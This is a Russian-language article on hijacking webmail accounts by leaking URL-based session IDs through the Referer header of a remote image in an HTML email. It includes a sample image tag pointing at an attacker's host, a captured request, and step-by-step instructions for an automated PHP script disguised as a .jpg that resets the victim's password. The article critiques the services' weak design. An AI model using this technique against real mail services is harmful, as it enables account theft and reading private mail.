Сегодня я хочу рассказать уважаемой публике, как можно воровать адреса с некоторых веб-мейлов. Я сказал "как можно", а не "как нужно"! Успокойтесь, ничего особо ценного, как "инструментарий юного хацкера" в этой заметке не будет. Просто демонстрация возможностей PHP и недостатков (вопиющих недостатков!) некоторых почтовых веб-интерфейсов.

A. V. Komlin, Субъективная оценка российских удалённых почтовых сервисов. Тестирование на ошибки в Веб-интерфейсе. Очень полезная статья.

Описывается сервис HotBox.Ru.

Первое же тестирование выявило, что сервер подвержен простейшим ошибкам в фильтрации скриптов и других опасных тегов, но это оказалось не самым худшим.

Как уже было отмечено — во время работы пользователь идентифицируется по случайному многозначному идентификатору (id) , и разумеется (думал я) IP и/или cookies. Тест показал, что это не так! Узнав значение id на ящик оказалось возможным зайти с другого адреса, например после обрыва соединения! Более того не требовалось и поддержки "пирожков" (хотя узнать их при возможности выполнить скрипт проблемой не являлось).

Фактически, для несанкционированного просмотра ящика, достаточно себе поставить простейшую программу, регистрирующую обращения к 80-му (или другому указанному в адресе) порту, послать письмо, вставив в него нефильтруемый тег провоцирующий браузер на автоматическое обращение к машине атакующего (например с помощью ссылки на картинку, якобы расположенную на IP адресе взломщика <img src=http://адрес_машины_взломщика:порт/anyname.gif width=1 height=1>) и, дождавшись пока жертва зайдёт читать почту, посмотреть поле "Referer:" в заголовке пришедшего запроса!

----------
GET /anyname.gif HTTP/1.0
Referer: http://www.hotbox.ru/message.php?id=b[skip]14cf&index=6&array_index=5
Connection: Keep-Alive
...
--------
Пример java-утилиты для прослушивания порта.

[skip]

Атакующему осталось только отключить поддержку cookies в своём браузере, полностью набрать указанный в Referer адрес и параллельно "работать с почтой " (почитать письма ,установить пересылку...) пока хозяин не выйдет из неё.

Если злоумышленник не имеет постоянного соединения с сетью, он может воспользоваться дырками в фильтрации тегов, чтобы установить с помощью языков сценариев пересылку (для этого придётся отправить дополнительное письмо с кодом подтверждения).

На самом деле, можно поставить взлом ящиков на поток и не караулить жертв, сидя на линии.

Итак, мы имеем почтовый сервис, который

а) авторизует пользователей по технологии аналогичной сессиям в php.
б) не делает проверки IP-адресов
в) не проверяет содержимое писем формата html
г) не требует подтверждений изменений системных настроек

А проверка содержимого должна заключаться помимо всего прочего и в безжалостной резке всех картинок, которые не идут в аттачменте, а вызываются с другого адреса. ВСЕХ КАРТИНОК, ВСЕХ!

Мы же, крутые хацкеры, используем Apache+PHP.

Итак, что мы делаем.

1. Отправляем по разным адресам почтового сервиса письма в формате html с тегом

например, с поздравительной открыткой. :)

2. В директории с открыткой кладем файл .htaccess следующего содержания:

3. Вместо открытки пишем файл picture.jpg с таким кодом:

4. А поздравительную открытку кладем именно в файл otkrytka.jpg.

Директива ForceType в .htaccess заставляет сервер обрабатывать файл .jpg как скрипт php, который по завершении работы выдает пользователю картинку, и узнать, что скрипт что-то там делал, невозможно. А скрипт делает простую вещь — разбирает переменную , выкусывает оттуда идентификатор сессии и... в два приема лишает пользователя ящика. На машине жертвы не происходит ничего, все делает скрипт на сервере злоумышленника:

5. Открывает сокет с веб-мэйлом, имитируя отправку формы системных настроек (имена переменных надо написать ручками), а именно изменение пароля на нужный злоумышленнику (и, например, уведомляет автора о том, что такой-то ящик захвачен). Дабы не вызвать подозрений, можно формировать нужные заголовки — рефереры, user agent и т.п.

6. Открывает второй сокет, имитируя нажатие кнопки "выход".

* Сокет - сетевое соединение. В данном случае точно такое же, как и соединение между веб-сервером и браузером.

ВСЕ! ПОЛЬЗОВАТЕЛЬ ОСТАЛСЯ БЕЗ СВОЕГО ЯЩИКА, не успев как следует рассмотреть картинку. Следующее, что он увидит — сообщение типа "неправильный пароль, войдите еще раз".

Получается, что дырка в защите такого почтового сервиса (не Hotbox.ru, замечу, там что-то все-таки закрыто) на самом деле — целая дверь. Сочетание передачи идентификатора сессии через ссылку (т.е. доступного кому угодно через поле Referer), а не через cookie и отсутствия проверки IP-адреса дает злоумышленнику возможность быстро и легко перехватить управление ящиком. Проверка же картинок здесь не спасает — ничто не мешает вставить в текст письма ссылку, нажав на которую, пользователь передаст скрипту идентификатор сессии. Стоят ли удобства таких жертв? Думаю, нет.